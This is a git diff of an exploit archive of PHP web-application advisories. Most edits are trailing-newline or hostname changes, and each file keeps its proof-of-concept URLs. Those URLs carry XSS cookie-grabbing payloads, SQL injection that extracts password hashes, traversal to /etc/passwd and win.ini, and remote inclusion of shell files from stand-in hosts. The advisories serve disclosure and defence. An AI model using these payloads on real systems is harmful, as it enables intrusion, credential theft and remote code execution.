http://www.example.com/lms/sistema/webensino/index.php?modo=resbusca_biblioteca&pChave=a%22%2F%3E+%3Cscript%3Ealert%28%2FXSS%2F%29%3C%2Fscript%3E&Submit=Buscar -http://www.example.com/lms/sistema/webensino/index.php?modo=itensCategoriaBiblioteca&codBibliotecaCategoria=<SQLi> \ No newline at end of file +http://www.example.com/lms/sistema/webensino/index.php?modo=itensCategoriaBiblioteca&codBibliotecaCategoria=<SQLi> \ No newline at end of file diff --git a/platforms/php/webapps/35467.txt b/platforms/php/webapps/35467.txt index 613c0f9f7..39f033ff0 100755 --- a/platforms/php/webapps/35467.txt +++ b/platforms/php/webapps/35467.txt @@ -7,4 +7,4 @@ Attackers can exploit this issue to obtain sensitive information that may lead t http://www.example.org/sugarcrm/index.php?module=Accounts&action=ShowDuplicates -http://www.example.org/sugarcrm/index.php?module=Contacts&action=ShowDuplicates \ No newline at end of file +http://www.example.org/sugarcrm/index.php?module=Contacts&action=ShowDuplicates \ No newline at end of file diff --git a/platforms/php/webapps/35469.txt b/platforms/php/webapps/35469.txt index 79872f520..c7dde4c03 100755 --- a/platforms/php/webapps/35469.txt +++ b/platforms/php/webapps/35469.txt @@ -6,4 +6,4 @@ Successful exploits will allow attacker-supplied HTML and script code to run in Wikiwig 5.01 is vulnerable; other versions may also be affected. -http://www.example.com/wikiwig5.01/_wk/Xinha/plugins/SpellChecker/spell-check-savedicts.php?to_r_list=%3Cscript%3Ealert(0)%3C%2fscript%3E \ No newline at end of file +http://www.example.com/wikiwig5.01/_wk/Xinha/plugins/SpellChecker/spell-check-savedicts.php?to_r_list=%3Cscript%3Ealert(0)%3C%2fscript%3E \ No newline at end of file diff --git a/platforms/php/webapps/35470.txt b/platforms/php/webapps/35470.txt index 2685ae243..bbe275471 100755 --- a/platforms/php/webapps/35470.txt +++ b/platforms/php/webapps/35470.txt @@ -4,4 +4,4 @@ AplikaMedia CMS is prone to an SQL-injection vulnerability because the applicati A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/page_info.php?id_brt=[Sql_injection] \ No newline at end of file +http://www.example.com/page_info.php?id_brt=[Sql_injection] \ No newline at end of file diff --git a/platforms/php/webapps/35476.txt b/platforms/php/webapps/35476.txt index 2bdf9ec5b..b3166d4e7 100755 --- a/platforms/php/webapps/35476.txt +++ b/platforms/php/webapps/35476.txt @@ -8,4 +8,4 @@ Rating-Widget 1.3.1 is vulnerable; other versions may also be affected. http://www.example.com/wp-content/plugins/rating-widget/view/rating.php?vars[type]=[xss] http://www.example.com/plugins/rating-widget/view/availability_options.php?selected_key=[xss] -http://www.example.com/wp-content/plugins/rating-widget/view/save.php?rw_form_hidden_field_name=[xss] \ No newline at end of file +http://www.example.com/wp-content/plugins/rating-widget/view/save.php?rw_form_hidden_field_name=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/35481.txt b/platforms/php/webapps/35481.txt index 34c72099f..bbc899f67 100755 --- a/platforms/php/webapps/35481.txt +++ b/platforms/php/webapps/35481.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow NewsPortal 0.37 is vulnerable; other versions may also be affected. -http://www.example.com/post.php?newsgroups=<script>alert(28)</script> \ No newline at end of file +http://www.example.com/post.php?newsgroups=<script>alert(28)</script> \ No newline at end of file diff --git a/platforms/php/webapps/35482.txt b/platforms/php/webapps/35482.txt index a59f61284..28c598d42 100755 --- a/platforms/php/webapps/35482.txt +++ b/platforms/php/webapps/35482.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow PluggedOut Blog 1.9.9 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?year=<script>alert(88888)</script> \ No newline at end of file +http://www.example.com/index.php?year=<script>alert(88888)</script> \ No newline at end of file diff --git a/platforms/php/webapps/35498.txt b/platforms/php/webapps/35498.txt index 90936a7cb..d224978f7 100755 --- a/platforms/php/webapps/35498.txt +++ b/platforms/php/webapps/35498.txt @@ -10,4 +10,4 @@ Ripe Website Manager is prone to a cross-site scripting vulnerability and multip Exploiting these issues could allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -Ripe Website Manager 1.1 is vulnerable; other versions may also be affected. \ No newline at end of file +Ripe Website Manager 1.1 is vulnerable; other versions may also be affected. \ No newline at end of file diff --git a/platforms/php/webapps/35514.txt b/platforms/php/webapps/35514.txt index 55af550da..28e0fb92d 100755 --- a/platforms/php/webapps/35514.txt +++ b/platforms/php/webapps/35514.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow OrangeHRM 2.6.2 is vulnerable; other versions may also be affected. -http://www.example.com/orangehrm-2.6.2/templates/recruitment/jobVacancy.php?recruitcode=%3C/script%3E%3Cscript%3Ealert(0)%3C/script%3E \ No newline at end of file +http://www.example.com/orangehrm-2.6.2/templates/recruitment/jobVacancy.php?recruitcode=%3C/script%3E%3Cscript%3Ealert(0)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/35516.txt b/platforms/php/webapps/35516.txt index a84b2c9aa..015f5b2e5 100755 --- a/platforms/php/webapps/35516.txt +++ b/platforms/php/webapps/35516.txt @@ -7,4 +7,4 @@ An attacker can exploit this vulnerability to view and execute arbitrary local f webEdition CMS 6.1.0.2 is vulnerable; other versions may also be affected. http://www.example.com/webEdition/index.php?DOCUMENT_ROOT= [lfi]%00 -http://www.example.com/path_to_webEdition/index.php?DOCUMENT_ROOT= [lfi]%00 \ No newline at end of file +http://www.example.com/path_to_webEdition/index.php?DOCUMENT_ROOT= [lfi]%00 \ No newline at end of file diff --git a/platforms/php/webapps/35517.txt b/platforms/php/webapps/35517.txt index 3f471c986..c3fb15687 100755 --- a/platforms/php/webapps/35517.txt +++ b/platforms/php/webapps/35517.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow pppBLOG 0.3.0 is vulnerable; other versions may also be affected. -http://www.example.com/search.php?q=<script>alert(8888)</script> \ No newline at end of file +http://www.example.com/search.php?q=<script>alert(8888)</script> \ No newline at end of file diff --git a/platforms/php/webapps/35520.txt b/platforms/php/webapps/35520.txt index d19408143..387d4b442 100755 --- a/platforms/php/webapps/35520.txt +++ b/platforms/php/webapps/35520.txt @@ -6,4 +6,4 @@ Successful exploits will allow attacker-supplied HTML and script code to run in Claroline 1.10 is vulnerable; other versions may also be affected. -"><script>alert(0)</script> \ No newline at end of file +"><script>alert(0)</script> \ No newline at end of file diff --git a/platforms/php/webapps/35521.txt b/platforms/php/webapps/35521.txt index a56730ec4..7040c5451 100755 --- a/platforms/php/webapps/35521.txt +++ b/platforms/php/webapps/35521.txt @@ -16,4 +16,4 @@ Local file include: http://www.example.com/oscss2/admin108/index.php?page_admin=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00 -http://www.example.com/oscss2/admin108/popup_image.php?page_admin=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00 \ No newline at end of file +http://www.example.com/oscss2/admin108/popup_image.php?page_admin=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00 \ No newline at end of file diff --git a/platforms/php/webapps/35522.txt b/platforms/php/webapps/35522.txt index 19a01d047..cbeabbd93 100755 --- a/platforms/php/webapps/35522.txt +++ b/platforms/php/webapps/35522.txt @@ -7,4 +7,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow [code] GET / HTTP/1.1 Cookie: cms_username=admin">[xss]< -[/code] \ No newline at end of file +[/code] \ No newline at end of file diff --git a/platforms/php/webapps/35524.txt b/platforms/php/webapps/35524.txt index bd1b49277..fe9c71baa 100755 --- a/platforms/php/webapps/35524.txt +++ b/platforms/php/webapps/35524.txt @@ -4,4 +4,4 @@ XOOPS is prone to a cross-site scripting vulnerability because it fails to prope An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/[path]/modules/jobs/view_photos.php?lid=-9999&uid="><script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/[path]/modules/jobs/view_photos.php?lid=-9999&uid="><script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/35525.txt b/platforms/php/webapps/35525.txt index 454c0eaa1..55cbe4983 100755 --- a/platforms/php/webapps/35525.txt +++ b/platforms/php/webapps/35525.txt @@ -8,4 +8,4 @@ GuppY 4.6.14 is vulnerable; other versions may also be affected. http://www.example.com/links.php?lng=fr [sql Injection] http://www.example.com/guestbk.php?lng=fr [sql Injection] -http://www.example.com/articles.php?pg=43&lng=fr [ sql Injection] \ No newline at end of file +http://www.example.com/articles.php?pg=43&lng=fr [ sql Injection] \ No newline at end of file diff --git a/platforms/php/webapps/35526.txt b/platforms/php/webapps/35526.txt index c275bfe56..2df8149ac 100755 --- a/platforms/php/webapps/35526.txt +++ b/platforms/php/webapps/35526.txt @@ -36,7 +36,7 @@ Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a v This vulnerability affects /yacomas/asistente/index.php. -http://www.server/yacomas/asistente/index.php?opc=1 +http://www.site.com/yacomas/asistente/index.php?opc=1 --URL encoded POST input S_apellidos was set to " onmouseover=prompt(11111111111) bad=" @@ -68,7 +68,7 @@ s_org --= Attack XSS details No. 2 =-- =============================== -http://www.server/yacomas/admin/index.php +http://www.site.com/yacomas/admin/index.php --details: can you inyect this in the HTTP headers whit this data in the Content-Length: header @@ -84,7 +84,7 @@ S_login=%27%22%3E%3E%3Cmarquee%3Ehacked+by+profesorx%3C%2Fmarquee%3E&S_passwd=%2 --= Attack XSS remote code execution No. 2 =-- ========================================== -http://www.server/yacomas/admin/index.php +http://www.site.com/yacomas/admin/index.php --details: can you inyect this in the HTTP headers whit this data in the Content-Length: header diff --git a/platforms/php/webapps/35547.txt b/platforms/php/webapps/35547.txt index 98718cc34..bf58dcd93 100755 --- a/platforms/php/webapps/35547.txt +++ b/platforms/php/webapps/35547.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc ICJobSite 1.1 is vulnerable; other versions may also be affected. -http://www.example.com/icjobsite/index.php?page=position_details&pid=[SQL-Injection] \ No newline at end of file +http://www.example.com/icjobsite/index.php?page=position_details&pid=[SQL-Injection] \ No newline at end of file diff --git a/platforms/php/webapps/35555.txt b/platforms/php/webapps/35555.txt index 03bdf09ae..feb9e697d 100755 --- a/platforms/php/webapps/35555.txt +++ b/platforms/php/webapps/35555.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow AWCM 2.2 and prior versions are vulnerable. -http://www.example.com/awcm/search.php?search=<script>alert("SecPod-XSS-Test")</script>&where=all \ No newline at end of file +http://www.example.com/awcm/search.php?search=<script>alert("SecPod-XSS-Test")</script>&where=all \ No newline at end of file diff --git a/platforms/php/webapps/35557.txt b/platforms/php/webapps/35557.txt index 2a2bd6304..6a56d348b 100755 --- a/platforms/php/webapps/35557.txt +++ b/platforms/php/webapps/35557.txt @@ -4,4 +4,4 @@ PHP-Fusion is prone to an SQL-injection vulnerability because it fails to suffic Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/[Path]/articles.php?article_id=-1+union+select+version()-- \ No newline at end of file +http://www.example.com/[Path]/articles.php?article_id=-1+union+select+version()-- \ No newline at end of file diff --git a/platforms/php/webapps/35558.txt b/platforms/php/webapps/35558.txt index 8701da15e..94c6d065d 100755 --- a/platforms/php/webapps/35558.txt +++ b/platforms/php/webapps/35558.txt @@ -4,4 +4,4 @@ PHP-Fusion is prone to a cross-site scripting vulnerability because it fails to An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/[Path]/articles.php?article_id="><script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/[Path]/articles.php?article_id="><script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/35559.txt b/platforms/php/webapps/35559.txt index 9a145baf1..0a6018e4e 100755 --- a/platforms/php/webapps/35559.txt +++ b/platforms/php/webapps/35559.txt @@ -10,4 +10,4 @@ XML-injection: http://www.example.com/xmlhttp.php?action=username_exists&value=%3Cxml/%3E XSS: -http://www.example.com/xmlhttp.php?action=username_exists&value=%3Cdiv%20xmlns=%22http://www.w3.org/1999/xhtml%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C/div%3E \ No newline at end of file +http://www.example.com/xmlhttp.php?action=username_exists&value=%3Cdiv%20xmlns=%22http://www.w3.org/1999/xhtml%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C/div%3E \ No newline at end of file diff --git a/platforms/php/webapps/35561.txt b/platforms/php/webapps/35561.txt index 2c904a6d4..785338427 100755 --- a/platforms/php/webapps/35561.txt +++ b/platforms/php/webapps/35561.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow AdWizz plugin 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/wordpress/wp-content/plugins/ad-wizz/template.php?link=%22;%3C/script%3E%3Cscript%3Ealert(0);{// \ No newline at end of file +http://www.example.com/wordpress/wp-content/plugins/ad-wizz/template.php?link=%22;%3C/script%3E%3Cscript%3Ealert(0);{// \ No newline at end of file diff --git a/platforms/php/webapps/35568.txt b/platforms/php/webapps/35568.txt index 23a9f6579..bbc9a2346 100755 --- a/platforms/php/webapps/35568.txt +++ b/platforms/php/webapps/35568.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor UseBB 1.0.11 is vulnerable; other versions may also be affected. -http://www.example.com/admin.php?act=/../../config \ No newline at end of file +http://www.example.com/admin.php?act=/../../config \ No newline at end of file diff --git a/platforms/php/webapps/35569.txt b/platforms/php/webapps/35569.txt index 480a214f5..ecf95e8e0 100755 --- a/platforms/php/webapps/35569.txt +++ b/platforms/php/webapps/35569.txt @@ -8,4 +8,4 @@ XOOPS 2.5.0 is vulnerable; other versions may also be affected. http://www.example.com/banners.php?click=../../../../../../../boot.ini%00 http://www.example.com/banners.php?click&url=../../../../../../../boot.ini%00 -http://www.example.com/banners.php?click&bid=../../../../../../../boot.ini%00 \ No newline at end of file +http://www.example.com/banners.php?click&bid=../../../../../../../boot.ini%00 \ No newline at end of file diff --git a/platforms/php/webapps/35571.txt b/platforms/php/webapps/35571.txt index f3dbb9011..e859f1f5e 100755 --- a/platforms/php/webapps/35571.txt +++ b/platforms/php/webapps/35571.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow TextPattern 4.2.0 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?q=<script>alert(888)</script> \ No newline at end of file +http://www.example.com/index.php?q=<script>alert(888)</script> \ No newline at end of file diff --git a/platforms/php/webapps/35572.txt b/platforms/php/webapps/35572.txt index b6388de28..ed71de028 100755 --- a/platforms/php/webapps/35572.txt +++ b/platforms/php/webapps/35572.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Redmine 1.0.1 and 1.1.1 are vulnerable; other versions may also be affected. -http://example.com/projects/hg-helloworld/news/[xss] \ No newline at end of file +http://example.com/projects/hg-helloworld/news/[xss] \ No newline at end of file diff --git a/platforms/php/webapps/35574.txt b/platforms/php/webapps/35574.txt index 4236a5a66..8846e2dd5 100755 --- a/platforms/php/webapps/35574.txt +++ b/platforms/php/webapps/35574.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor vtiger CRM 5.2.1 is vulnerable; other versions may also be affected. -http://www.example.com/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00 \ No newline at end of file +http://www.example.com/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00 \ No newline at end of file diff --git a/platforms/php/webapps/35575.txt b/platforms/php/webapps/35575.txt index 073abbc2f..bdfccca3e 100755 --- a/platforms/php/webapps/35575.txt +++ b/platforms/php/webapps/35575.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th PrestaShop 1.3.6 and prior are vulnerable; other versions may also be affected. -http://www.example.com/[path]/cms.php?rewrited_url=http://[Shell-Path] \ No newline at end of file +http://www.example.com/[path]/cms.php?rewrited_url=http://[Shell-Path] \ No newline at end of file diff --git a/platforms/php/webapps/35577.txt b/platforms/php/webapps/35577.txt index 5ccbc9756..3ea199bb5 100755 --- a/platforms/php/webapps/35577.txt +++ b/platforms/php/webapps/35577.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow vtiger CRM 5.2.1 is vulnerable; other versions may also be affected. -http://www.example.com/vtigercrm/vtigerservice.php?service=%3Cscript%3Ealert%280%29%3C/script%3E \ No newline at end of file +http://www.example.com/vtigercrm/vtigerservice.php?service=%3Cscript%3Ealert%280%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/35582.txt b/platforms/php/webapps/35582.txt index e07761eb3..c49c8cc01 100755 --- a/platforms/php/webapps/35582.txt +++ b/platforms/php/webapps/35582.txt @@ -1,4 +1,4 @@ --=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= INDEPENDENT SECURITY RESEARCHER PENETRATION TESTING SECURITY -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= @@ -41,7 +41,7 @@ http://i.imgur.com/FOPIvd4.jpg # Exploiting Description - The url disclosure directory of platform. #P0c -http://server/projectsend/templates/pinboxes/template.php +http://site.com/projectsend/templates/pinboxes/template.php #Proof Concept http://i.imgur.com/xfN4kDV.jpg \ No newline at end of file diff --git a/platforms/php/webapps/35583.txt b/platforms/php/webapps/35583.txt index e2a85e2c7..a8249aaad 100755 --- a/platforms/php/webapps/35583.txt +++ b/platforms/php/webapps/35583.txt @@ -1,4 +1,4 @@ --=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= INDEPENDENT SECURITY RESEARCHER PENETRATION TESTING SECURITY -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= @@ -52,7 +52,7 @@ http://i.imgur.com/qFyJz6q.jpg # Exploiting Description - Sql Injection in control panel of admin and others users . #P0c -http://server/piwigo/admin.php?page=history&search_id=5' +http://site.com/piwigo/admin.php?page=history&search_id=5' SELECT date, @@ -66,7 +66,7 @@ SELECT image_type FROM ucea_history WHERE -; in /home/server/public_html/piwigo/include/dblayer/functions_mysqli.inc.php on line 830 +; in /home/site.com/public_html/piwigo/include/dblayer/functions_mysqli.inc.php on line 830 #Proof Concept http://i.imgur.com/wpzMmmu.jpg diff --git a/platforms/php/webapps/35584.txt b/platforms/php/webapps/35584.txt index df0da76b6..56c1431e8 100755 --- a/platforms/php/webapps/35584.txt +++ b/platforms/php/webapps/35584.txt @@ -1,4 +1,4 @@ --=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= INDEPENDENT SECURITY RESEARCHER PENETRATION TESTING SECURITY -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= @@ -45,7 +45,7 @@ http://i.imgur.com/cjIvR5l.jpg # Exploiting Description - The Sql Injection in path created a new file. #P0c -http://server/GQFileManager/index.php?&&output=create&create=[sql] +http://site.com/GQFileManager/index.php?&&output=create&create=[sql] #Proof Concept http://i.imgur.com/IJZoDVt.jpg diff --git a/platforms/php/webapps/35585.txt b/platforms/php/webapps/35585.txt index 7b8cb98ac..f690d4682 100755 --- a/platforms/php/webapps/35585.txt +++ b/platforms/php/webapps/35585.txt @@ -1,4 +1,4 @@ --=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= INDEPENDENT SECURITY RESEARCHER PENETRATION TESTING SECURITY -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= @@ -30,7 +30,7 @@ Codiad was built with simplicity in mind, allowing for fast, interactive develop /components/filemanager/dialog.php?action=rename&path=3&short_name= #P0c -http://server/components/filemanager/dialog.php?action=rename&path=3&short_name='"><img src=x onerror=prompt(1);> +http://site.com/components/filemanager/dialog.php?action=rename&path=3&short_name='"><img src=x onerror=prompt(1);> #Proof Concept http://i.imgur.com/rr9b42K.jpg @@ -42,7 +42,7 @@ http://i.imgur.com/rr9b42K.jpg # Exploiting Description - Get into path in ur' browser and download private file server /etc/passwd #P0c -http://server/components/filemanager/download.php?path=../../../../../../../../../../../etc/passwd&type=undefined +http://site.com/components/filemanager/download.php?path=../../../../../../../../../../../etc/passwd&type=undefined #Proof Concept http://i.imgur.com/LSm360S.jpg diff --git a/platforms/php/webapps/35596.txt b/platforms/php/webapps/35596.txt index 9dd1cc2dd..2c980fa6a 100755 --- a/platforms/php/webapps/35596.txt +++ b/platforms/php/webapps/35596.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow eGroupware 1.8.001 is vulnerable; other versions may also be affected. -http://www.example.com/egroupware/phpgwapi/js/jscalendar/test.php?lang=%22%3E%3C/script%3E%3Cscript%3Ealert%280%29%3C/script%3E \ No newline at end of file +http://www.example.com/egroupware/phpgwapi/js/jscalendar/test.php?lang=%22%3E%3C/script%3E%3Cscript%3Ealert%280%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/35602.txt b/platforms/php/webapps/35602.txt index d6037e66c..25eeb504a 100755 --- a/platforms/php/webapps/35602.txt +++ b/platforms/php/webapps/35602.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce Etki Video Pro 2.0 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/kategori.asp?cat=1 [SQL Injection] \ No newline at end of file +http://www.example.com/[path]/kategori.asp?cat=1 [SQL Injection] \ No newline at end of file diff --git a/platforms/php/webapps/35603.txt b/platforms/php/webapps/35603.txt index 1db5670fe..dc20e0ee2 100755 --- a/platforms/php/webapps/35603.txt +++ b/platforms/php/webapps/35603.txt @@ -10,4 +10,4 @@ http://www.example.com/wp-content/themes/livewire-edition/thumb.php?src=%3Cbody% http://www.example.com/wp-content/themes/livewire-edition/thumb.php?src=jpg -http://www.example.com/wp-content/themes/livewire-edition/thumb.php?src=http://site/big_file&h=1&w=1 \ No newline at end of file +http://www.example.com/wp-content/themes/livewire-edition/thumb.php?src=http://site/big_file&h=1&w=1 \ No newline at end of file diff --git a/platforms/php/webapps/35605.txt b/platforms/php/webapps/35605.txt index d7a18e504..6d04596f6 100755 --- a/platforms/php/webapps/35605.txt +++ b/platforms/php/webapps/35605.txt @@ -1,4 +1,4 @@ --=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= INDEPENDENT SECURITY RESEARCHER PENETRATION TESTING SECURITY -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= @@ -62,7 +62,7 @@ http://i.imgur.com/JESZTCz.jpg # Exploiting Description - Sql Injection in control panel of admin and others users. #P0c -http://server/lazarus/admin.php?action=settings&panel=general&gbsession="RANDOM_TOKEN"&uid=[sql] +http://site.com/lazarus/admin.php?action=settings&panel=general&gbsession="RANDOM_TOKEN"&uid=[sql] #Proof Concept http://i.imgur.com/36JamRc.jpg \ No newline at end of file diff --git a/platforms/php/webapps/35607.txt b/platforms/php/webapps/35607.txt index 448e2041f..b5cf9c8af 100755 --- a/platforms/php/webapps/35607.txt +++ b/platforms/php/webapps/35607.txt @@ -10,4 +10,4 @@ The following example URIs are available: http://www.example.com/general.php?file=http://sitename.com/Evil.txt? -http://www.example.com/general.php?file=../../../../../../../etc/passwd \ No newline at end of file +http://www.example.com/general.php?file=../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/35608.txt b/platforms/php/webapps/35608.txt index 2c5666e7b..df203b746 100755 --- a/platforms/php/webapps/35608.txt +++ b/platforms/php/webapps/35608.txt @@ -10,4 +10,4 @@ http://www.example.com/wp-content/themes/gazette/thumb.php?src=1%3Cbody%20onload http://www.example.com/wp-content/themes/gazette/thumb.php?src=http://site -http://www.example.com/wp-content/themes/gazette/thumb.php?src=http://site/big_file&h=1&w=1 \ No newline at end of file +http://www.example.com/wp-content/themes/gazette/thumb.php?src=http://site/big_file&h=1&w=1 \ No newline at end of file diff --git a/platforms/php/webapps/35615.txt b/platforms/php/webapps/35615.txt index 551b474fb..497fa6e4c 100755 --- a/platforms/php/webapps/35615.txt +++ b/platforms/php/webapps/35615.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to execute arbitrary commands within the cont PhpAlbum.net 0.4.1-14_fix06 is vulnerable; other versions may also be affected. -http://www.example.com/main.php?cmd=setup&var1=user&var3=1-file_put_contents('./x.xxx','xxxx') \ No newline at end of file +http://www.example.com/main.php?cmd=setup&var1=user&var3=1-file_put_contents('./x.xxx','xxxx') \ No newline at end of file diff --git a/platforms/php/webapps/35616.txt b/platforms/php/webapps/35616.txt index 34bd46e52..48b82533e 100755 --- a/platforms/php/webapps/35616.txt +++ b/platforms/php/webapps/35616.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce Agahi Advertisement CMS 4.0 is vulnerable; other versions may also be affected. -http:/www.example.com/view_ad.php?id=-523+union+select+1,2,3,version%28%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- \ No newline at end of file +http:/www.example.com/view_ad.php?id=-523+union+select+1,2,3,version%28%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- \ No newline at end of file diff --git a/platforms/php/webapps/35617.txt b/platforms/php/webapps/35617.txt index b506b58a6..77f8677c9 100755 --- a/platforms/php/webapps/35617.txt +++ b/platforms/php/webapps/35617.txt @@ -4,4 +4,4 @@ Qianbo Enterprise Web Site Management System is prone to a cross-site scripting An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com]/en/Search.Asp?Range=Product&Keyword=[xss] \ No newline at end of file +http://www.example.com]/en/Search.Asp?Range=Product&Keyword=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/35618.txt b/platforms/php/webapps/35618.txt index cd75be10a..162719815 100755 --- a/platforms/php/webapps/35618.txt +++ b/platforms/php/webapps/35618.txt @@ -5,4 +5,4 @@ The RunCMS 'partners' module is prone to an SQL-injection vulnerability because Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/[path]/modules/partners/index.php?op=visit_partner&id=1+and+2=0+union+select+1,2,pass,4,5,pwdsalt,7,8,9,10+from+runcms_users+where+uid=2 \ No newline at end of file +http://www.example.com/[path]/modules/partners/index.php?op=visit_partner&id=1+and+2=0+union+select+1,2,pass,4,5,pwdsalt,7,8,9,10+from+runcms_users+where+uid=2 \ No newline at end of file diff --git a/platforms/php/webapps/35619.txt b/platforms/php/webapps/35619.txt index d738139e2..383844a16 100755 --- a/platforms/php/webapps/35619.txt +++ b/platforms/php/webapps/35619.txt @@ -10,4 +10,4 @@ PhoenixCMS 1.7.0 is vulnerable; other versions may also be affected. http://www.example.com/[path]/modules.php?name=Work_Probe&file=../../WS_FTP.LOG%00 http://www.example.com/[path]/modules.php?name=News&file=../../WS_FTP.LOG%00 -http://www.example.com/modules.php?name=Surveys&op=results&pollID=3+and+1=2+union+select+1,version(),3,4,5-- \ No newline at end of file +http://www.example.com/modules.php?name=Surveys&op=results&pollID=3+and+1=2+union+select+1,version(),3,4,5-- \ No newline at end of file diff --git a/platforms/php/webapps/3562.txt b/platforms/php/webapps/3562.txt index d180e4da6..74b2bc88c 100755 --- a/platforms/php/webapps/3562.txt +++ b/platforms/php/webapps/3562.txt @@ -31,7 +31,7 @@ if ($_GET["cms"] == "") [...] proof of concept : -http://server/index.php?cms=http://whatever.com/textshell.txt? +http://site.com/index.php?cms=http://whatever.com/textshell.txt? "powered by Net-Side.net" -------------------------------------------------------------------------------------------------------------- greetz mozi and all php freaks. diff --git a/platforms/php/webapps/35621.txt b/platforms/php/webapps/35621.txt index a520bdde1..08121163e 100755 --- a/platforms/php/webapps/35621.txt +++ b/platforms/php/webapps/35621.txt @@ -9,4 +9,4 @@ An attacker can exploit these vulnerabilities to execute arbitrary server-side s http://www.example.com/[path]/download.php?file_path=[Ev!l-Sh3ll] http://www.example.com/[path]/categories.php?upload_url=[Ev!l-Sh3ll] http://www.example.com/[path]/global.php?config=[Ev!l-Sh3ll -http://www.example.com/[path]/details.php?cat_id_sql=0+AND+2=1 \ No newline at end of file +http://www.example.com/[path]/details.php?cat_id_sql=0+AND+2=1 \ No newline at end of file diff --git a/platforms/php/webapps/35629.txt b/platforms/php/webapps/35629.txt index b912e7d1d..2c5280693 100755 --- a/platforms/php/webapps/35629.txt +++ b/platforms/php/webapps/35629.txt @@ -8,4 +8,4 @@ chillyCMS 1.2.1 is vulnerable; other versions may also be affected. http://www.example.com/[path]/core/helpers.include.php?file=[Ev!l-Sh3ll] 